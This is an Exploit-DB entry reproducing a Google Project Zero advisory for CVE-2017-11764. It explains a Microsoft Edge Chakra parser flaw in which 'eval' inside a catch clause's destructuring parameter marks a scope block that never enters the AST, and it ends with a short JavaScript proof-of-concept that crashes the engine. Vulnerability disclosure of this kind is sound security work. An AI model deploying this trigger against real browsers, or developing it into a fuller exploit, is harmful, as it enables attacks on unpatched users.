Microsoft Edge Chakra - 'Parser::ParseCatch' does not Handle 'eval'

EDB-ID: 42765
Author: Google Security Research
Published: 2017-09-21
CVE: CVE-2017-11764
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1326 

In Javascript, the code executed by a direct call to eval shares the caller block's scopes. Chakra handles this from the parser. And there's a bug when it parses "eval" in a catch statement's param.

ParseNodePtr Parser::ParseCatch()
{
...
pnodeCatchScope = StartParseBlock<buildAST>(PnodeBlockType::Regular, isPattern ? ScopeType_CatchParamPattern : ScopeType_Catch);
...
ParseNodePtr pnodePattern = ParseDestructuredLiteral<buildAST>(tkLET, true /*isDecl*/, true /*topLevel*/, DIC_ForceErrorOnInitializer);
...
}

1. "pnodeCatchScope" is a temporary block used to create a scope, and it is not actually inserted into the AST.
2. If the parser meets "eval" in "ParseDestructuredLiteral", it calls "pnodeCatchScope->SetCallsEval".
3. But "pnodeCatchScope" is not inserted into the AST. So the bytecode generator doesn't know it calls "eval", and it can't create scopes properly.

PoC:
-->

function f() {
{
let i;
function g() {
i;
}

try {
throw 1;
} catch ({e = eval('dd')}) {
}
}
}

f();

Related Posts

Comments